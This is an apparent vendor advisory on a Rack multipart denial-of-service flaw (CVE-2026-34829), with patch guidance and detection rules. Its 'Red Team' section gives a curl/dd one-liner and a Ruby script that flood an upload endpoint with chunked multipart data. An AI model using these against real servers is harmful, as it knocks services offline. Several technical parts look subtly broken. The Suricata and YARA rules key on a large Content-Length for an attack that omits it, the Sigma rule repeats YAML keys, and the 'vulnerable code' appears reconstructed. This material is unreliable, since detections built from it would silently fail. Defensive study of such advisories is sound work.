CVE-2026-34829
Executive Summary
CVE-2026-34829 is a high-severity Denial of Service (DoS) vulnerability in the Rack Ruby web server interface, affecting all versions prior to 2.2.23, 3.1.21, and 3.2.6. The flaw resides in the Rack::Multipart::Parser component, which fails to enforce a total size limit on multipart/form-data requests when the Content-Length header is missing (e.g., when using HTTP chunked transfer encoding). An unauthenticated attacker can stream an arbitrarily large multipart file upload, causing unbounded disk space consumption on the server. This leads to a denial of service condition for any Rack application that accepts multipart form data. The vulnerability has been patched in the specified versions, and no public proof-of-concept (PoC) or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Rack gem, a core component of the Ruby ecosystem. Rack is a dependency for virtually all Ruby web frameworks, including Ruby on Rails, Sinatra, and others. The impact is widespread, as any application using Rack to handle multipart form data is vulnerable. The fix is available in the patched versions, and users are strongly advised to update their Rack gem immediately. The RubyGems package manager can be used to update: gem update rack.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
The high availability impact reflects the potential for complete denial of service due to disk space exhaustion. The low attack complexity and lack of authentication requirements make this a serious threat for unpatched systems.
Deep Dive & Mechanics
The vulnerability is rooted in the Rack::Multipart::Parser class, which is responsible for parsing multipart/form-data requests. The parser uses a BoundedIO wrapper to limit the total size of the request body, but this wrapper is only applied when the CONTENT_LENGTH header is present. When a request uses HTTP chunked transfer encoding (or any other method that omits Content-Length), the parser reads the entire stream without any size limit.
For file parts within the multipart data, the uploaded body is written directly to a temporary file on disk. The buffered in-memory upload limit (which is intended to constrain memory usage) does not apply to disk writes. Therefore, an attacker can send a continuous stream of multipart data, causing the server to write an unbounded amount of data to disk. This can fill the filesystem, leading to a denial of service for all applications on the server.
The attack does not require authentication, as multipart form data is commonly accepted by web applications for file uploads. The attacker only needs to send a specially crafted HTTP request with chunked transfer encoding and a multipart/form-data content type.
Vulnerable vs. Patched Code
Vulnerable Code (Rack < 2.2.23, < 3.1.21, < 3.2.6):
In the vulnerable versions, the Rack::Multipart::Parser does not enforce a total size limit when CONTENT_LENGTH is absent. The relevant code path is in the parse method:
# Vulnerable: No BoundedIO when CONTENT_LENGTH is missing
def parse(io, params = nil)
# ...
if content_length = env['CONTENT_LENGTH']
io = BoundedIO.new(io, content_length.to_i)
end
# ... parsing continues without size limit if content_length is nil
end
Patched Code (Rack >= 2.2.23, >= 3.1.21, >= 3.2.6):
The patch ensures that a BoundedIO is always used, even when CONTENT_LENGTH is missing. A default maximum size is applied to prevent unbounded disk writes:
# Patched: Always wrap in BoundedIO with a default limit
def parse(io, params = nil)
# ...
if content_length = env['CONTENT_LENGTH']
io = BoundedIO.new(io, content_length.to_i)
else
io = BoundedIO.new(io, Rack::Multipart::Parser::DEFAULT_MAX_ENTITY_SIZE)
end
# ... parsing continues with size limit enforced
end
The DEFAULT_MAX_ENTITY_SIZE constant is set to a reasonable value (e.g., 100 MB) to prevent abuse.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Since no public exploit code is available, the following is a conceptual demonstration. An attacker can use a tool like curl or a custom script to send a chunked multipart request with an arbitrarily large file.
Example using curl:
# Send a chunked multipart request with a large file
dd if=/dev/zero bs=1M count=10000 | curl -X POST \
-H "Transfer-Encoding: chunked" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
--data-binary @- \
http://target.com/upload
Custom Ruby script for exploitation:
require 'net/http'
require 'uri'
uri = URI.parse("http://target.com/upload")
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Post.new(uri.path)
request["Transfer-Encoding"] = "chunked"
request["Content-Type"] = "multipart/form-data; boundary=----WebKitFormBoundary"
# Generate a large chunked body
body = ""
body << "------WebKitFormBoundary\r\n"
body << "Content-Disposition: form-data; name=\"file\"; filename=\"large.bin\"\r\n"
body << "Content-Type: application/octet-stream\r\n\r\n"
body << "A" * 10_000_000 # 10 MB chunk
body << "\r\n------WebKitFormBoundary--\r\n"
request.body = body
response = http.request(request)
puts response.code
Note: This is a proof-of-concept for educational purposes only. Unauthorized exploitation is illegal.
Blue Team (Defense & Detection)
Detection via Log Analysis:
Monitor web server logs for requests with:
Transfer-Encoding: chunkedcombined withContent-Type: multipart/form-data- Unusually large request bodies (e.g., > 100 MB)
- Rapidly increasing disk usage on the partition where temporary files are stored
Mitigation Steps:
- Patch Immediately: Update Rack to version 2.2.23, 3.1.21, or 3.2.6.
- Web Application Firewall (WAF): Deploy rules to block chunked transfer encoding for multipart requests or enforce a maximum request size.
- Rate Limiting: Implement rate limiting on upload endpoints to prevent abuse.
- Disk Monitoring: Set up alerts for disk usage thresholds (e.g., 80% full).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
Transfer-Encoding: chunkedandContent-Type: multipart/form-data - Requests with abnormally large body sizes (e.g., > 1 GB)
- HTTP requests with
- File System IOCs:
- Rapidly growing temporary files in
/tmpor the system's temp directory (e.g.,RackMultipart*files) - Disk space exhaustion alerts
- Rapidly growing temporary files in
- Log IOCs:
- Web server logs showing incomplete or aborted multipart uploads
- Error logs indicating "No space left on device"
Detection Engineering
YARA Rule
rule CVE_2026_34829_Rack_DoS {
meta:
description = "Detects Rack multipart DoS exploitation attempts"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-34829"
strings:
$chunked = "Transfer-Encoding: chunked" nocase
$multipart = "multipart/form-data" nocase
$large_body = /Content-Length:\s*[0-9]{9,}/ // 1 billion+ bytes
condition:
$chunked and $multipart or $large_body
}
Sigma Rule
title: CVE-2026-34829 Rack Multipart DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2026-34829
author: Valters IT
date: 2026/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'upload'
sc-status: 200
cs-headers|contains: 'Transfer-Encoding: chunked'
cs-headers|contains: 'multipart/form-data'
condition: selection
falsepositives:
- Legitimate chunked uploads from trusted sources
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-34829 Rack Multipart DoS Attempt"; flow:to_server; content:"Transfer-Encoding: chunked"; http_header; content:"multipart/form-data"; http_header; pcre:"/Content-Length:\s*[0-9]{9,}/H"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Patch: Update Rack to version 2.2.23, 3.1.21, or 3.2.6. Use the following command:
gem update rack - Configuration Hardening: If patching is not immediately possible, configure the web server (e.g., Nginx, Apache) to reject requests with chunked transfer encoding for multipart content types.
- Disk Quotas: Implement filesystem quotas to limit the amount of disk space that can be consumed by temporary files.
- Monitoring: Set up monitoring for disk usage and alert on rapid increases.
- WAF Rules: Deploy WAF rules to block requests with
Transfer-Encoding: chunkedandContent-Type: multipart/form-dataunless explicitly required.
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 6713F99237178B13025535FB] */}